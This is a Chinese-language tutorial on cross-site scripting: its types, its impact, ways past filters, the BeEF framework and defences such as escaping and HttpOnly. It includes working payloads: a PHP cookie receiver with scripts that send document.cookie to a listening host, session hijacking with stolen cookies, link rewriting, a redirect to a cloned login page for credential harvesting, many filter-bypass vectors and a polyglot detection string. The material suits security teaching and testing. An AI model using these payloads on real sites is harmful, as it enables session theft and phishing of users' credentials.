目录
漏洞原理
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
未对用户的输入进行处理,浏览器将用户输入的内容当作脚本执行。恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意的特殊目的。是一种针对用户浏览器的攻击。
漏洞分类
Xss主要分为三种类型:
(1)反射型
反射型xss又称非持久性xss,需要用户点击带有特定参数的链接。
攻击者通过邮件等形式将包含xss代码的链接发送给用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有xss的代码发送给用户。未经验证和转义的用户输入,直接作为HTML输出的一部分。用户浏览器解析执行代码,触发xss漏洞。
Xss攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。
反射型xss攻击流程:
使用:
页面会返回输入框所输入的内容
输入在服务器端处理后,已经成为HTML页面中的一部分。
当输入的内容为脚本时
<script>alert(/xss/)</script>
则输入的内容会被当作脚本执行
通过xss实现点击跳转
<script>alert("点击跳转");location.href="https://www.baidu.com"</script>
(2)存储型
存储型xss又称持久型xss,攻击脚本存储在目标服务器的数据库中。
存储型xss是指应用程序通过web请求向服务端提交了恶意数据,在未检验数据是否存在xss代码的情况下将其存入数据库。当下一次从数据库中获取该数据时,程序也未对其进行过滤,页面再次执行xss代码。
存储型xss可以持续攻击用户,具有更强的隐蔽性
存储型xss出现的位置:留言板、评论区、用户头像、个性签名、博客等。
存储型xss攻击流程:
当留言板块被插入恶意xss代码时,内容会被存储到数据库中。
后续每次访问本页面都会受到影响。
(3)DOM型
DOM(Document Object Model)
DOM模型用一个逻辑树来表示一个文档,每个分支的终点都是一个节点,每个节点都包含着对象。DOM的方法让你可以用特定方式操作这个树,用这些方法你可以改变文档结构、样式或内容。
DOM型XSS
DOM型XSS其实时一种特殊类型的反射型XSS,通过JS操作DOM数动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。DOM型XSS数据不经过服务器,所以不受WAF影响。
利用:
在script里面创建一个Element的对象,然后对Element的对象的src设置一个提前准备好的服务器上。利用document.cookie获取到cookie,通过escape转义为一个可打印字符。
漏洞危害
1,盗取cookie
通过xss盗取用户cookie
<script>alert(document.cookie)</script>
上面只是通过alert将用户的cookie弹出,还可以通过构造代码将cookie直接发送到自己的服务器。然后通过盗取到的cookie伪造用户身份,越权登录。
首先在服务器创建用于接收cookie的php文件,将接收到的值写入cookie.txt文本中。
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie</script>
当执行次脚本后,用户客户端就会以自己的cookie为参数,跳转至指定的链接。服务端接收后就会生cookie.txt文件。
还可以通过nc监听指定端口,然后构造代码将数据发往指定端口。
<script>document.location="http://127.0.0.1:1234/"+document.cookie</script>
2,会话劫持
利用 Cookie 会话劫持
打开浏览器,选择console使用下面代码一键设置cookie
var cookiestr=“盗取到的cookie内容";
var arr = cookiestr.split(";");
for(var i in arr){
document.cookie=arr[i];
}
访问网站时需要登录用户
通过上述方法将盗取到的cookie添加到浏览器。
成功获得用户权限
可在存储选项卡查看网站的cookie值。
3,篡改网页链接
在存在xss漏洞的地方插入如下代码:
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) {
link[j].href="http://www.baidu.com/";}
}
</script>
当窗口加载时,使用for循环遍历所有的a标签,将a标签中的url替换指定的url。
利用带有XSS漏洞的页面,将所有a标签的url替换成指向流量的url,使得所有用户在这个网页点击的任何链接都跳转到该流量站点,使得站点的流量增多。
4,盗取用户信息
克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问就会跳转到克隆网站的登陆页面,用户登陆的账号和密码被记录并发往黑客服务器。
使用kali系统自带的SETookit工具克隆网站:
1,setookit (打开setookit工具)
2,选择Social-Engineering Attacks
3,选择Website Attack Vectors
4,选择Credential Harvester Attack Method
5,选择Site Cloner,输入要克隆的网址
利用xss漏洞在页面中插入跳转到克隆网站的代码:
<script>window.location=”http://192.168.154.128/”</script>
当访问到此页面时,会自动跳转到攻击者指定页面。
如果用户在此页面输入了账户密码并提交,攻击者后台就会接收到用户信息。
绕过方法
1,基于规则的绕过
大小写绕过:
HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:
<script>改为<ScRiPt>
双写绕过:
有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:
<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:
<script>改为<scr<!---test--->ipt>
开口标签:
在某些特殊环境,由于html代码补全机制,可以故意不闭合标签绕过黑名单检测
例如:
<script>改为<script
空格回车TAB:
例如:
js伪协议javascript:alert('xss');可以改为java script:alert('xss’);等
2,基于其他标签和事件
其他非黑名单标签和事件:
<img>
<img src=1 οnerrοr=alert("xss");>
<input>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg>
<svg οnlοad=alert("xss");>
<iframe>
<iframe οnlοad=alert("xss");></iframe>
<body>
<body/οnlοad=alert("xss");>
3,编码绕过
Base64编码:
<script>eval(atob("YWxlcnQoMTIzKQ=="))</script>
#eval()用于将字符串当作程序执行,atob()用于解密base64
<a href=“data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>1</a>
(需要浏览器支持)
HTML编码:
<a href=javascript
:alert(1)>1</a>
HTML文档解码顺序:HTML解析,URL解析和JavaScript解析(Unicode)。
BeEF工具
BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的XSS利用工具。
1,浏览器信息收集
可收集:
浏览器名称版本
浏览器用户版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小
(1)自动默认收集:
(2)插件收集信息
模块图标不同颜色对应不同的使用效果
绿色:适用当前浏览器
橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色
红色:不适于当前浏览器,但仍可尝试
2,系统信息收集
可收集:
安装的软件(适用于IE下,Detect Software模块)
注册表键值(适用于IE下,此时会弹出提示消息)
内网IP(Java模块得到授权)
系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
定位(通过Google maps)
剪贴板信息(会弹出提示消息)
3,用户行为
可收集:
用户是否访问过某URL、domain
是否登录特定网站账号
是否使用TOR
4,钓鱼
提交登录信息
在网页弹出诱骗消息需要用户输入登录和密码
当用户输入信息后,自动获取,如图
5,网络扫描
获取内网ip
通过WebRTC获取内网IP
防范方法
1,过滤和转义
针对XSS的防御
用用户的输入进行合理验证,对特殊字符如(<、>、’、”等)以及<script>、javascript等进行过滤。
采用OWASP ESAPI对数据输出HTML上下文中不同位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL)进行恰当的输出编码。
2,设置HttpOnly
设置HttpOnly属性,避免攻击者利用XSS漏洞进行Cookie劫持攻击。
java:cookie.setHttpOnly(true);
python:tools.session.httponly = true
php:session.cookie_httponly=1
3,Xss的检测
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。
只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。